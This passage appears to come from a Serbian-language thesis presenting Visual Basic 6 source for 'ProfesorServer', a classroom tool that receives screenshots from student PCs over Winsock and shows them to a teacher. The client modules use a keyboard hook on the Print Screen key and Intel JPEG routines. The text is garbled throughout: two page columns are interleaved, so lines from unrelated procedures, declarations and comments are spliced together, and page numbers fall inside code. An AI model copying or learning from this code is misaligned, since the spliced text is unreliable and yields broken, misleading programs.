Private Sub lstConnections_BeforeLabelEdit(Cancel As Me.lstConnections.ListItems(k + 1).SubItems(2) =
Integer) SckReceiveFile(k).RemoteHostIP
Cancel = 1 Else
End Sub Me.lstConnections.ListItems(k + 1).SubItems(2) =
Private Sub SckReceiveFile_Close(Index As Integer) SckReceiveFile(k).RemoteHost
On Error Resume Next End If
SckReceiveFile(Index).Close FitTextInListView Me.lstConnections, 2, , k + 1
Close Clients(Index).FileNum End Sub
If Clients(Index).BytesReceived < Private Sub SckReceiveFile_DataArrival(Index As Integer,
Clients(Index).FileSize Then ByVal bytesTotal As Long)
' izbrisati nekompletni fajl ' procedura prihvatanja podatka slike (samo slike)
Kill App.Path & "\" & Clients(Index).FileName Dim sData As String, Pos As Long, Pos2 As Long
Me.lstConnections.ListItems(Index + 1).SubItems(4) = SckReceiveFile(Index).GetData sData, vbString
"Incomplete, File Deleted" If Clients(Index).FileSize = 0 And InStr(1, sData, ":") > 0
Else Then
' Slika je primnjena izazovi dogadjaj klik na dugmetu9 Pos = InStr(1, sData, ",")
' Sliku treba prikazati Clients(Index).FileSize = Val(Left(sData, Pos - 1))
Command9_Click Pos2 = InStr(Pos, sData, ":")
Me.lstConnections.ListItems(Index + 1).SubItems(4) = Clients(Index).FileName = Mid(sData, Pos + 1, (Pos2 -
"Transfer Complete" Pos) - 1)
End If Clients(Index).FileNum = FreeFile
FitTextInListView Me.lstConnections, 4, , Index + 1 Open App.Path & "\" & Clients(Index).FileName For
Clients(Index).FileNum = 0 Binary Access Write Lock Write As Clients(Index).FileNum
Clients(Index).BytesReceived = 0 sData = Mid(sData, Pos2 + 1)
Clients(Index).FileSize = 0 Me.lstConnections.ListItems(Index + 1).SubItems(3) =
Clients(Index).FileName = "" Clients(Index).FileName
End Sub FitTextInListView Me.lstConnections, 3, , Index + 1
Private Sub FitTextInListView(LV As ListView, ByVal End If
Column As Integer, Optional ByVal Text As String, Optional If Len(sData) > 0 Then
ByVal Clients(Index).BytesReceived =
‘ unos podataka u vezi slanja slike Clients(Index).BytesReceived + Len(sData)
ItemIndex As Long = -1) Put Clients(Index).FileNum, , sData
Dim TLen As Single, CapLen As Single Me.lstConnections.ListItems(Index + 1).SubItems(4) =
CapLen = Me.TextWidth(LV.ColumnHeaders(Column + Format(Clients(Index).BytesReceived /
1).Text) + 195 Clients(Index).FileSize * 100#, "#0.00") & " %"
If ItemIndex >= 0 Then FitTextInListView Me.lstConnections, 4, , Index + 1
If ItemIndex = 0 Then ' na ovo mestu postoji mogucnost za auto prekid
TLen = Me.TextWidth(LV.ListItems(ItemIndex).Text) If Clients(Index).BytesReceived >=
Else Clients(Index).FileSize Then
TLen = SckReceiveFile_Close Index
Me.TextWidth(LV.ListItems(ItemIndex).SubItems(Column)) End If
End If End If
Else End Sub
TLen = Me.TextWidth(Text) Private Sub Text1_Change()
End If ' na promenu teksta koji izazivaju win sock iz form2 menja
TLen = TLen + 195 natpis
If CapLen > TLen Then TLen = CapLen 'label slova client1 2 3 4 5 6 7 8 i ucitava sliku ili gasi ako

19
If LV.ColumnHeaders(Column + 1).Width < TLen Then ' je klijent diskonektovan , ucitavanje slike radi i command9
LV.ColumnHeaders(Column + 1).Width = TLen ali
End Sub ' se ovde registruje diskonekcija
Private Sub SckReceiveFile_ConnectionRequest(Index As On Error GoTo nik:
Integer, ByVal requestID As Long) client1.Caption = Text1.Text
Dim k As Integer, LI As ListItem
For k = 1 To SckReceiveFile.UBound desk1.Navigate App.Path & "\" & Text1.Text & ".jpg"
If SckReceiveFile(k).State = sckClosed Then Exit For Image1.Picture = LoadPicture(App.Path & "\" & Text1.Text
Next k & ".jpg")
If k = SckReceiveFile.UBound + 1 Then nik:
Load SckReceiveFile(SckReceiveFile.UBound + 1) End Sub
ReDim Preserve Clients(SckReceiveFile.UBound) Private Sub Text2_Change()
k = SckReceiveFile.UBound On Error GoTo nik:
lstConnections.ListItems.Add , , CStr(k) client2.Caption = Text2.Text
End If Desk2.Navigate App.Path & "\" & Text2.Text & ".jpg"
Image2.Picture = LoadPicture(App.Path & "\" & Text2.Text Private Sub txtListenPort_Validate(Cancel As Boolean)
& ".jpg") txtListenPort.Text = Val(txtListenPort.Text) ' vrednost
nik: txtlistenport je 8866
End Sub ' moze se promeniti ali se mora promeniti i na strani klijent
Private Sub Text3_Change() aplikacije
On Error GoTo nik: End Sub
client3.Caption = Text3.Text Sadrzaj forme MDIForm1.frm ( Forma roditelj –sve
Desk3.Navigate App.Path & "\" & Text3.Text & ".jpg" ostale forme su unutar nje.)
Image3.Picture = LoadPicture(App.Path & "\" & Text3.Text
& ".jpg") Private Sub MDIForm_Load()
nik: ‘ prikazi glavnu formu
End Sub frmMain1.Show
Private Sub Text4_Change() ‘ Ucitaj form2
On Error GoTo nik: Load Form2
client4.Caption = Text4.Text ‘Maksimizuj glavnu formu
Desk4.Navigate App.Path & "\" & Text4.Text & ".jpg" frmMain1.WindowState = 2
Image4.Picture = LoadPicture(App.Path & "\" & Text4.Text End Sub
& ".jpg") Private Sub MDIForm_Unload(Cancel As Integer)
nik: ‘ Ako se iskljuci roditeljska forma iskljucice se I sve ostale
Unload Form1
End Sub Unload Form2
Private Sub Text5_Change() Unload frmLogin
On Error GoTo nik: Unload frmMain
client5.Caption = Text5.Text Unload frmMain1
Desk5.Navigate App.Path & "\" & Text5.Text & ".jpg" End Sub
Image5.Picture = LoadPicture(App.Path & "\" & Text5.Text Private Sub nikol_Click()
& ".jpg") ‘ ovo je kod padajuceg menija
nik: Form1.Show
End Sub Form2.Hide
Private Sub Text6_Change() frmMain1.WindowState = 1
On Error GoTo nik: End Sub
client6.Caption = Text6.Text Private Sub picview_Click()
Desk6.Navigate App.Path & "\" & Text6.Text & ".jpg" Form1.Hide
Image6.Picture = LoadPicture(App.Path & "\" & Text6.Text Form2.Hide
& ".jpg") frmMain1.WindowState = 2
nik: End Sub
End Sub Private Sub remk_Click()
Private Sub Text7_Change() frmMain.Show
On Error GoTo nik: frmMain1.WindowState = 1
client7.Caption = Text7.Text Form1.Hide
Desk7.Navigate App.Path & "\" & Text7.Text & ".jpg" Form2.Hide
Image7.Picture = LoadPicture(App.Path & "\" & Text7.Text End Sub
& ".jpg")
nik:
End Sub
Private Sub Text8_Change()
On Error GoTo nik:
client8.Caption = Text8.Text
Desk8.Navigate App.Path & "\" & Text8.Text & ".jpg"
Image8.Picture = LoadPicture(App.Path & "\" & Text8.Text
& ".jpg")
nik:
End Sub

20
Private Sub tmrStatus_Timer()
'Ispisuje status konekcije
Dim k As Long, TmpStr As String
For k = 0 To SckReceiveFile.UBound
TmpStr = Choose(SckReceiveFile(k).State + 1,
"Closed", "Open", "Listening", "Connection pending",
"Resolving host", "Host resolved", "Connecting",
"Connected", "Server is disconnecting", "Error")
If Me.lstConnections.ListItems(k + 1).SubItems(1) <>
TmpStr Then
Me.lstConnections.ListItems(k + 1).SubItems(1) =
TmpStr
FitTextInListView Me.lstConnections, 1, , k + 1
End If
Next k
End Sub

Kraj koda ProfesorServerMain**Detekcija klijent racunara , slanje,primanje I prikaz slike

4.3 Izvorni kod programa Profesorserver (klijent strana)

Kreirati moduo (iskopirati) modExtentions.bas sadrzaj je indetican sadrzaju modExtentions.bas iz profesorservermain.

Sadrzaj modula: modFunctions.bas takodje intentican.

Sadrzaj modula : ModRegistry.bas takodje intentican.

Sadrzaj modula modHost2IP.bas>>>>>>>>>>>>>>>>>>>>>>>>>>>

Public Const MIN_SOCKETS_REQD As Long = 1 Public Function HiByte(ByVal wParam As Integer)


Public Const WS_VERSION_REQD As Long = &H101 HiByte = wParam \ &H100 And &HFF&
Public Const WS_VERSION_MAJOR As Long = End Function
WS_VERSION_REQD \ &H100 And &HFF& Public Function LoByte(ByVal wParam As Integer)
Public Const WS_VERSION_MINOR As Long = LoByte = wParam And &HFF&
WS_VERSION_REQD And &HFF& End Function
Public Const SOCKET_ERROR As Long = -1 Public Sub SocketsCleanup()
Public Const WSADESCRIPTION_LEN = 257 If WSACleanup() <> ERROR_SUCCESS Then
Public Const WSASYS_STATUS_LEN = 129 MsgBox "Socket error occurred in Cleanup."
Public Const MAX_WSADescription = 256 End If
Public Const MAX_WSASYSStatus = 128 End Sub
Public Type WSAData Public Function SocketsInitialize() As Boolean
wVersion As Integer Dim WSAD As WSAData
wHighVersion As Integer Dim sLoByte As String
szDescription(0 To MAX_WSADescription) As Byte Dim sHiByte As String
szSystemStatus(0 To MAX_WSASYSStatus) As Byte If WSAStartup(WS_VERSION_REQD, WSAD) <>
wMaxSockets As Integer ERROR_SUCCESS Then
wMaxUDPDG As Integer MsgBox "The 32-bit Windows Socket is not
dwVendorInfo As Long responding."
End Type SocketsInitialize = False
Declare Function WSACleanup Lib "WSOCK32" () As Exit Function
Long End If
Declare Function WSAStartup Lib "WSOCK32" (ByVal If WSAD.wMaxSockets < MIN_SOCKETS_REQD Then
wVersionRequired As Long, lpWSADATA As WSAData) As MsgBox "This application requires a minimum of " &
Long CStr(MIN_SOCKETS_REQD) & " supported sockets."
Declare Function gethostbyaddr Lib "wsock32.dll" (haddr SocketsInitialize = False
As Long, ByVal hnlen As Long, ByVal addrtype As Long) Exit Function
As Long End If
Declare Function lstrlenA Lib "kernel32" (ByVal Ptr As If LoByte(WSAD.wVersion) < WS_VERSION_MAJOR
Any) As Long Or (LoByte(WSAD.wVersion) = WS_VERSION_MAJOR
Declare Sub CopyMemory Lib "kernel32" Alias And HiByte(WSAD.wVersion) < WS_VERSION_MINOR)
"RtlMoveMemory" (hpvDest As Any, hpvSource As Any, Then
ByVal cbCopy As Long) sHiByte = CStr(HiByte(WSAD.wVersion))
Public Function GetHostNamez(ByVal Address As Long) As sLoByte = CStr(LoByte(WSAD.wVersion))
String MsgBox "Sockets version " & sLoByte & "." &

21
Dim lLength As Long, lRet As Long sHiByte & " is not supported by 32-bit Windows Sockets."
If Not SocketsInitialize() Then Exit Function SocketsInitialize = False
lRet = gethostbyaddr(Address, 4, AF_INET) Exit Function
If lRet <> 0 Then End If
CopyMemory lRet, ByVal lRet, 4 'must be OK, so lets do it
lLength = lstrlenA(lRet) SocketsInitialize = True
If lLength > 0 Then End Function
GetHostNamez = Space$(lLength)
CopyMemory ByVal GetHostNamez, ByVal lRet, Sadrzaj madula modktrap.bas ( Funkcija salje sliku
lLength programa na kom se trenutno nalazi focus.-)
End If
Else Public Declare Sub keybd_event Lib "USER32" (ByVal bVk
GetHostNamez = "No Host Found" As Byte, ByVal bScan As Byte, ByVal dwFlags As Long,
End If ByVal dwExtraInfo As Long)
SocketsCleanup
End Function

Public Declare Function GetAsyncKeyState Lib "USER32"


(ByVal vKey As Long) As Integer ' General program variables.
Public Function fSaveGuiToFile(theFile As String) As Public hHook As Long
Boolean Public enableJPEG As Boolean
Dim lString As String Public Function KeyboardProc(ByVal idHook As Long,
On Error Resume Next 'GoTo Trap ByVal wParam As Long, ByVal lParam As Long) As Long
'Check if the File Exist ' Callback procedure for the keyboard hook.
If Dir(theFile) <> "" Then Exit Function ' If idHook is less than zero, no further processing is
'Clipboard.Clear required.
'To get the Entire Screen If idHook < 0 Then
Call keybd_event(vbKeySnapshot, 1, 0, 0)
'To get the Active Window 'call the next hook
SavePicture Clipboard.GetData(vbCFBitmap), theFile KeyboardProc = CallNextHookEx(hHook, idHook,
fSaveGuiToFile = True wParam, ByVal lParam)
Exit Function Else
End Function
Sadrzaj modula klase ' If the Print Screen key was pressed, then start the
cDIBSection.cls>>>>>>>>>>>>>>>>>>> clipboard check.
If GetKeyState(VK_SNAPSHOT) Then
Debug.Print "PRINT" & Now
Option Explicit
frmGrabber.tmrSeconds(0).Enabled = True
' Shell declaration. End If
Public Declare Function ShellExecute Lib "shell32.dll" Alias
"ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation 'call the next hook
As String, ByVal lpFile As String, ByVal lpParameters As KeyboardProc = CallNextHookEx(hHook, idHook,
String, ByVal lpDirectory As String, ByVal nShowCmd As wParam, ByVal lParam)
Long) As Long End If
End Function
' Keyboard constants and declarations. Public Function IsDLLPresent() As Boolean
Public Const WH_KEYBOARD = 2
Public Const WH_KEYBOARD_LL = 13& ' Returns TRUE if the Intel JPEG Library DLL is present.

Public Const VK_SHIFT = &H10 Dim tJ As JPEG_CORE_PROPERTIES_VB


Public Const VK_PRINT = &H2A Dim lR As Long
Public Const VK_SNAPSHOT = &H2C On Error GoTo failed

Public Declare Function CallNextHookEx Lib "USER32" lR = ijlInit(tJ)


(ByVal hHook As Long, ByVal ncode As Long, ByVal
wParam As Long, lParam As Any) As Long ijlFree tJ
Public Declare Function GetKeyState Lib "USER32" (ByVal
nVirtKey As Long) As Integer IsDLLPresent = True
Public Declare Function SetWindowsHookEx Lib Exit Function
"USER32" Alias "SetWindowsHookExA" (ByVal idHook failed:
As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal MsgBox "The 'ijl11.dll' file could not be found. " &
dwThreadId As Long) As Long vbCrLf & _
Public Declare Function UnhookWindowsHookEx Lib "JPEG saving will be disabled.", vbExclamation,
"USER32" (ByVal hHook As Long) As Long "DLL Missing"
Public Declare Sub keybd_event Lib "USER32" (ByVal bVk
As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, IsDLLPresent = False
ByVal dwExtraInfo As Long) End Function

22
Public Function IsNT() As Boolean
' Operating System variable and declaration. ' Returns TRUE if the system is a Windows NT based one.
Private Declare Function GetVersionEx Lib "kernel32" Alias ‘ IZVORI INFORMACIJA
"GetVersionExA" (lpVersionInformation As ' This routine was copied from 'Michel D. PRET' –
OSVERSIONINFO) As Long 'GetWindowSnapShot' program.
' http://www.planetsourcecode.com/vb/scripts/Show
Private Type OSVERSIONINFO Code.asp?txtCodeId=1541&lngWId=1
dwOSVersionInfoSize As Long Dim verinfo As OSVERSIONINFO
dwMajorVersion As Long verinfo.dwOSVersionInfoSize = Len(verinfo)
dwMinorVersion As Long If (GetVersionEx(verinfo)) = 0 Then Exit Function
dwBuildNumber As Long If verinfo.dwPlatformId = 2 Then IsNT = True
dwPlatformId As Long End Function
szCSDVersion As String * 128
End Type

Sadrzaj modula IJL_JFILE_WRITEENTROPY = 12&


mIntelJPEGLibrary.bas>>>>>>>>>>>>>>>>>>>(U vezi IJL_JBUFF_WRITEENTROPY = 13&
kompresije slike iz BMP u JPG format) ''// Scaled Decoding Options:
''// Reads a JPEG image scaled to 1/2 size.
' IJL Declares:
Private Enum IJLERR IJL_JFILE_READONEHALF = 14&
'// The following "error" values indicate an "OK" condition. IJL_JBUFF_READONEHALF = 15&
IJL_OK = 0 ''// Reads a JPEG image scaled to 1/4 size.
IJL_INTERRUPT_OK = 1 IJL_JFILE_READONEQUARTER = 16&
IJL_ROI_OK = 2 IJL_JBUFF_READONEQUARTER = 17&
''// Reads a JPEG image scaled to 1/8 size.
'// The following "error" values indicate an error has IJL_JFILE_READONEEIGHTH = 18&
occurred. IJL_JBUFF_READONEEIGHTH = 19&
IJL_EXCEPTION_DETECTED = -1 ''// Reads an embedded thumbnail from a JFIF bit stream.
IJL_INVALID_ENCODER = -2 IJL_JFILE_READTHUMBNAIL = 20&
IJL_UNSUPPORTED_SUBSAMPLING = -3 IJL_JBUFF_READTHUMBNAIL = 21&
IJL_UNSUPPORTED_BYTES_PER_PIXEL = -4
IJL_MEMORY_ERROR = -5 End Enum
IJL_BAD_HUFFMAN_TABLE = -6
IJL_BAD_QUANT_TABLE = -7 Public Type JPEG_CORE_PROPERTIES_VB ' Sadly, due
IJL_INVALID_JPEG_PROPERTIES = -8 to a limitation in VB (UDT variable count)
IJL_ERR_FILECLOSE = -9 ' we can't encode the full
IJL_INVALID_FILENAME = -10 JPEG_CORE_PROPERTIES structure
IJL_ERROR_EOF = -11 UseJPEGPROPERTIES As Long '// default =
IJL_PROG_NOT_SUPPORTED = -12 0
IJL_ERR_NOT_JPEG = -13
IJL_ERR_COMP = -14 '// DIB specific I/O data specifiers.
IJL_ERR_SOF = -15 DIBBytes As Long '; '// default = NULL 4
IJL_ERR_DNL = -16 DIBWidth As Long '; '// default = 0 8
IJL_ERR_NO_HUF = -17 DIBHeight As Long '; '// default = 0 12
IJL_ERR_NO_QUAN = -18 DIBPadBytes As Long '; '// default = 0 16
IJL_ERR_NO_FRAME = -19 DIBChannels As Long '; '// default = 3 20
IJL_ERR_MULT_FRAME = -20 DIBColor As Long '; '// default = IJL_BGR 24
IJL_ERR_DATA = -21 DIBSubsampling As Long '; '// default = IJL_NONE
IJL_ERR_NO_IMAGE = -22 28
IJL_FILE_ERROR = -23 '// JPEG specific I/O data specifiers.
IJL_INTERNAL_ERROR = -24 JPGFile As Long 'LPTSTR JPGFile; 32
IJL_BAD_RST_MARKER = -25 '// default = NULL
IJL_THUMBNAIL_DIB_TOO_SMALL = -26 JPGBytes As Long '; '// default = NULL 36
IJL_THUMBNAIL_DIB_WRONG_COLOR = -27 JPGSizeBytes As Long '; '// default = 0 40
IJL_RESERVED = -99 JPGWidth As Long '; '// default = 0 44
JPGHeight As Long '; '// default = 0 48
End Enum JPGChannels As Long '; '// default = 3
JPGColor As Long '; '// default =
Private Enum IJLIOTYPE IJL_YCBCR
IJL_SETUP = -1& JPGSubsampling As Long '; '// default = IJL_411
''// Read JPEG parameters (i.e., height, width, channels, JPGThumbWidth As Long ' ; '// default = 0
''// sampling, etc.) from a JPEG bit stream. JPGThumbHeight As Long '; '// default = 0
IJL_JFILE_READPARAMS = 0&
IJL_JBUFF_READPARAMS = 1& '// JPEG conversion properties.
''// Read a JPEG Interchange Format image. cconversion_reqd As Long '; '// default = TRUE

23
IJL_JFILE_READWHOLEIMAGE = 2& upsampling_reqd As Long '; '// default = TRUE
IJL_JBUFF_READWHOLEIMAGE = 3& jquality As Long '; '// default = 75. 100 is my
''// Read JPEG tables from a JPEG Abbreviated Format bit preferred quality setting.
stream.
IJL_JFILE_READHEADER = 4& '// Low-level properties - 20,000 bytes. If the whole
IJL_JBUFF_READHEADER = 5& structure
''// Read image info from a JPEG Abbreviated Format bit ' is written out then VB fails with an obscure error message
stream. ' "Too Many Local Variables" !
IJL_JFILE_READENTROPY = 6& '
IJL_JBUFF_READENTROPY = 7& ' These all default if they are not otherwise specified so
''// Write an entire JFIF bit stream. there
IJL_JFILE_WRITEWHOLEIMAGE = 8& ' is no trouble to just assign a sufficient buffer in memory:
IJL_JBUFF_WRITEWHOLEIMAGE = 9& jprops(0 To 19999) As Byte
''// Write a JPEG Abbreviated Format bit stream.
IJL_JFILE_WRITEHEADER = 10& End Type
IJL_JBUFF_WRITEHEADER = 11&
''// Write image info to a JPEG Abbreviated Format bit
stream.

Private Declare Function lopen Lib "kernel32" Alias


Public Declare Function ijlInit Lib "ijl11.dll" (jcprops As "_lopen" (ByVal lpPathName As String, ByVal iReadWrite
Any) As Long As Long) As Long
Public Declare Function ijlFree Lib "ijl11.dll" (jcprops As Private Declare Function lclose Lib "kernel32" Alias
Any) As Long "_lclose" (ByVal hFile As Long) As Long
Private Declare Function ijlRead Lib "ijl11.dll" (jcprops As Private Declare Function SetFileTime Lib "kernel32" (ByVal
Any, ByVal ioType As Long) As Long hFile As Long, lpCreationTime As FILETIME,
Private Declare Function ijlWrite Lib "ijl11.dll" (jcprops As lpLastAccessTime As FILETIME, lpLastWriteTime As
Any, ByVal ioType As Long) As Long FILETIME) As Long
Private Declare Function ijlGetLibVersion Lib "ijl11.dll" () Private Declare Function SetFileAttributes Lib "kernel32"
As Long Alias "SetFileAttributesA" (ByVal lpFileName As String,
Private Declare Function ijlGetErrorString Lib "ijl11.dll" ByVal dwFileAttributes As Long) As Long
(ByVal code As Long) As Long Private Const OF_WRITE = &H1
Private Const OF_SHARE_DENY_WRITE = &H20
' Win32 Declares Private Const GENERIC_WRITE = &H40000000
Private Declare Sub CopyMemory Lib "kernel32" Alias Private Const GENERIC_READ = &H80000000
"RtlMoveMemory" ( _ Private Const FILE_SHARE_WRITE = &H2
lpvDest As Any, lpvSource As Any, ByVal cbCopy As Private Const CREATE_ALWAYS = 2
Long) Private Const FILE_BEGIN = 0
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal Private Const SECTION_MAP_WRITE = &H2
wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalFree Lib "kernel32" (ByVal Public Function LoadJPG( _
hMem As Long) As Long ByRef cDib As cDIBSection, _
Private Declare Function GlobalLock Lib "kernel32" (ByVal ByVal sFile As String _
hMem As Long) As Long ) As Boolean
Private Declare Function GlobalUnlock Lib "kernel32" Dim tJ As JPEG_CORE_PROPERTIES_VB
(ByVal hMem As Long) As Long Dim bFile() As Byte
Private Const GMEM_DDESHARE = &H2000 Dim lR As Long
Private Const GMEM_DISCARDABLE = &H100 Dim lPtr As Long
Private Const GMEM_DISCARDED = &H4000 Dim lJPGWidth As Long, lJPGHeight As Long
Private Const GMEM_FIXED = &H0
Private Const GMEM_INVALID_HANDLE = &H8000 lR = ijlInit(tJ)
Private Const GMEM_LOCKCOUNT = &HFF If lR = IJL_OK Then
Private Const GMEM_MODIFY = &H80
Private Const GMEM_MOVEABLE = &H2 ' Write the filename to the jcprops.JPGFile member:
Private Const GMEM_NOCOMPACT = &H10 bFile = StrConv(sFile, vbFromUnicode)
Private Const GMEM_NODISCARD = &H20 ReDim Preserve bFile(0 To UBound(bFile) + 1) As Byte
Private Const GMEM_NOT_BANKED = &H1000 bFile(UBound(bFile)) = 0
Private Const GMEM_NOTIFY = &H4000 lPtr = VarPtr(bFile(0))
Private Const GMEM_SHARE = &H2000 CopyMemory tJ.JPGFile, lPtr, 4
Private Const GMEM_VALID_FLAGS = &H7F72
Private Const GMEM_ZEROINIT = &H40 ' Read the JPEG file parameters:
Private Const GPTR = (GMEM_FIXED Or lR = ijlRead(tJ, IJL_JFILE_READPARAMS)
GMEM_ZEROINIT) If lR <> IJL_OK Then
' Throw error
' Stuff for replacing a file when you have to Kill the original: MsgBox "Failed to read JPG", vbExclamation
Private Const MAX_PATH = 260 Else
Private Type FILETIME ' set JPG color

24
dwLowDateTime As Long If tJ.JPGChannels = 1 Then
dwHighDateTime As Long tJ.JPGColor = 4& ' IJL_G
End Type Else
Private Type WIN32_FIND_DATA tJ.JPGColor = 3& ' IJL_YCBCR
dwFileAttributes As Long End If
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME ' Get the JPGWidth ...
ftLastWriteTime As FILETIME lJPGWidth = tJ.JPGWidth
nFileSizeHigh As Long ' .. & JPGHeight member values:
nFileSizeLow As Long lJPGHeight = tJ.JPGHeight
dwReserved0 As Long ' Create a buffer of sufficient size to hold the image:
dwReserved1 As Long If cDib.Create(lJPGWidth, lJPGHeight) Then
cFileName As String * MAX_PATH ' Store DIBWidth:
End Type tJ.DIBWidth = lJPGWidth
Private Declare Function FindFirstFile Lib "kernel32" Alias ' Very important: tell IJL how many bytes extra there
"FindFirstFileA" (ByVal lpFileName As String, ' are on each DIB scan line to pad to 32 bit boundaries:
lpFindFileData cAlternate As String * 14
As WIN32_FIND_DATA) As Long

tJ.DIBPadBytes = cDib.BytesPerScanLine -
lJPGWidth * 3 ' Get the JPGWidth ...
' Store DIBHeight: lJPGWidth = tJ.JPGWidth
tJ.DIBHeight = -lJPGHeight ' .. & JPGHeight member values:
' Store Channels: lJPGHeight = tJ.JPGHeight
tJ.DIBChannels = 3&
' Store DIBBytes (pointer to uncompressed JPG ' Create a buffer of sufficient size to hold the image:
data): If cDib.Create(lJPGWidth, lJPGHeight) Then
tJ.DIBBytes = cDib.DIBSectionBitsPtr ' Store DIBWidth:
tJ.DIBWidth = lJPGWidth
' Now decompress the JPG into the DIBSection: ' Very important: tell IJL how many bytes extra there
lR = ijlRead(tJ, IJL_JFILE_READWHOLEIMAGE) ' are on each DIB scan line to pad to 32 bit
If lR = IJL_OK Then boundaries:
' That's it! cDib now contains the uncompressed tJ.DIBPadBytes = cDib.BytesPerScanLine -
JPG. lJPGWidth * 3
LoadJPG = True ' Store DIBHeight:
Else tJ.DIBHeight = -lJPGHeight
' Throw error: ' Store Channels:
MsgBox "Cannot read Image Data from file.", tJ.DIBChannels = 3&
vbExclamation ' Store DIBBytes (pointer to uncompressed JPG
End If data):
Else tJ.DIBBytes = cDib.DIBSectionBitsPtr
' failed to create the DIB...
End If ' Now decompress the JPG into the DIBSection:
End If lR = ijlRead(tJ,
IJL_JBUFF_READWHOLEIMAGE)
' Ensure we have freed memory: If lR = IJL_OK Then
ijlFree tJ ' That's it! cDib now contains the uncompressed
Else JPG.
' Throw error: LoadJPGFromPtr = True
MsgBox "Failed to initialise the IJL library: " & lR, Else
vbExclamation ' Throw error:
End If MsgBox "Cannot read Image Data from file.",
vbExclamation
End Function End If
Public Function LoadJPGFromPtr( _ Else
ByRef cDib As cDIBSection, _ ' failed to create the DIB...
ByVal lPtr As Long, _ End If
ByVal lSize As Long _ End If
) As Boolean
Dim tJ As JPEG_CORE_PROPERTIES_VB ' Ensure we have freed memory:
Dim bFile() As Byte ijlFree tJ
Dim lR As Long Else
Dim lJPGWidth As Long, lJPGHeight As Long ' Throw error:
MsgBox "Failed to initialise the IJL library: " & lR,
lR = ijlInit(tJ) vbExclamation

25
If lR = IJL_OK Then End If

' set JPEG buffer End Function


tJ.JPGBytes = lPtr
tJ.JPGSizeBytes = lSize Public Function SaveJPG( _
ByRef cDib As cDIBSection, _
' Read the JPEG parameters: ByVal sFile As String, _
lR = ijlRead(tJ, IJL_JBUFF_READPARAMS) Optional ByVal lQuality As Long = 90 _
If lR <> IJL_OK Then ) As Boolean
' Throw error Dim tJ As JPEG_CORE_PROPERTIES_VB
MsgBox "Failed to read JPG", vbExclamation Dim bFile() As Byte
Else Dim lPtr As Long
' set JPG color Dim lR As Long
If tJ.JPGChannels = 1 Then Dim tFnd As WIN32_FIND_DATA
tJ.JPGColor = 4& ' IJL_G Dim hFile As Long
Else Dim bFileExisted As Boolean
tJ.JPGColor = 3& ' IJL_YCBCR Dim lFileSize As Long
End If
hFile = -1

lR = ijlInit(tJ) ' Success:


If lR = IJL_OK Then SaveJPG = True

' Check if we're attempting to overwrite an existing file. Else


' If so hFile <> INVALID_FILE_HANDLE: ' Throw error
bFileExisted = (FindFirstFile(sFile, tFnd) <> -1) Err.Raise 26001, App.EXEName &
If bFileExisted Then ".mIntelJPEGLibrary", "Failed to save to JPG " & lR,
Kill sFile vbExclamation
End If End If

' Set up the DIB information: ' Ensure we have freed memory:
' Store DIBWidth: ijlFree tJ
tJ.DIBWidth = cDib.Width Else
' Store DIBHeight: ' Throw error:
tJ.DIBHeight = -cDib.Height Err.Raise 26001, App.EXEName &
' Store DIBBytes (pointer to uncompressed JPG data): ".mIntelJPEGLibrary", "Failed to initialise the IJL library: "
tJ.DIBBytes = cDib.DIBSectionBitsPtr & lR
' Very important: tell IJL how many bytes extra there End If
' are on each DIB scan line to pad to 32 bit boundaries:
tJ.DIBPadBytes = cDib.BytesPerScanLine - cDib.Width
*3 End Function

' Set up the JPEG information: Public Function SaveJPGToPtr( _


ByRef cDib As cDIBSection, _
' Store JPGFile: ByVal lPtr As Long, _
bFile = StrConv(sFile, vbFromUnicode) ByRef lBufSize As Long, _
ReDim Preserve bFile(0 To UBound(bFile) + 1) As Byte Optional ByVal lQuality As Long = 90 _
bFile(UBound(bFile)) = 0 ) As Boolean
lPtr = VarPtr(bFile(0)) Dim tJ As JPEG_CORE_PROPERTIES_VB
CopyMemory tJ.JPGFile, lPtr, 4 Dim bFile() As Byte
' Store JPGWidth: Dim lR As Long
tJ.JPGWidth = cDib.Width Dim tFnd As WIN32_FIND_DATA
' .. & JPGHeight member values: Dim hFile As Long
tJ.JPGHeight = cDib.Height Dim bFileExisted As Boolean
' Set the quality/compression to save: Dim b As Boolean
tJ.jquality = lQuality
hFile = -1
' Write the image:
lR = ijlWrite(tJ, IJL_JFILE_WRITEWHOLEIMAGE) lR = ijlInit(tJ)
If lR = IJL_OK Then
' Check for success:
If lR = IJL_OK Then ' Set up the DIB information:
' Store DIBWidth:
' Now if we are replacing an existing file, then we want tJ.DIBWidth = cDib.Width
to ' Store DIBHeight:
' put the file creation and archive information back tJ.DIBHeight = -cDib.Height
again: ' Store DIBBytes (pointer to uncompressed JPG data):

26
If bFileExisted Then tJ.DIBBytes = cDib.DIBSectionBitsPtr
' Very important: tell IJL how many bytes extra there
hFile = lopen(sFile, OF_WRITE Or ' are on each DIB scan line to pad to 32 bit boundaries:
OF_SHARE_DENY_WRITE) tJ.DIBPadBytes = cDib.BytesPerScanLine - cDib.Width
If hFile = 0 Then *3
' problem
Else ' Set up the JPEG information:
SetFileTime hFile, tFnd.ftCreationTime, ' Store JPGWidth:
tFnd.ftLastAccessTime, tFnd.ftLastWriteTime tJ.JPGWidth = cDib.Width
lclose hFile ' .. & JPGHeight member values:
SetFileAttributes sFile, tFnd.dwFileAttributes tJ.JPGHeight = cDib.Height
End If ' Set the quality/compression to save:
End If tJ.jquality = lQuality
' set JPEG buffer
lFileSize = tJ.JPGSizeBytes - tJ.JPGBytes tJ.JPGBytes = lPtr
tJ.JPGSizeBytes = lBufSize

' Write the image:


lR = ijlWrite(tJ, IJL_JBUFF_WRITEWHOLEIMAGE)

"AppendMenuA" (ByVal hMenu As Long, ByVal wFlags As


' Check for success: Long, ByVal wIDNewItem As Long, ByVal lpNewItem As
If lR = IJL_OK Then Any) As Long
'The GetSystemMenu function allows the application to
lBufSize = tJ.JPGSizeBytes access the window menu (also known as the system menu or
' Success: the control menu) for copying and modifying.
SaveJPGToPtr = True Public Declare Function GetSystemMenu Lib "USER32"
(ByVal hwnd As Integer, ByVal bRevert As Integer) As
Else Integer
' Throw error 'The ExitWindowsEx function either logs off the current
Err.Raise 26001, App.EXEName & user, shuts down the system, or shuts down and restarts the
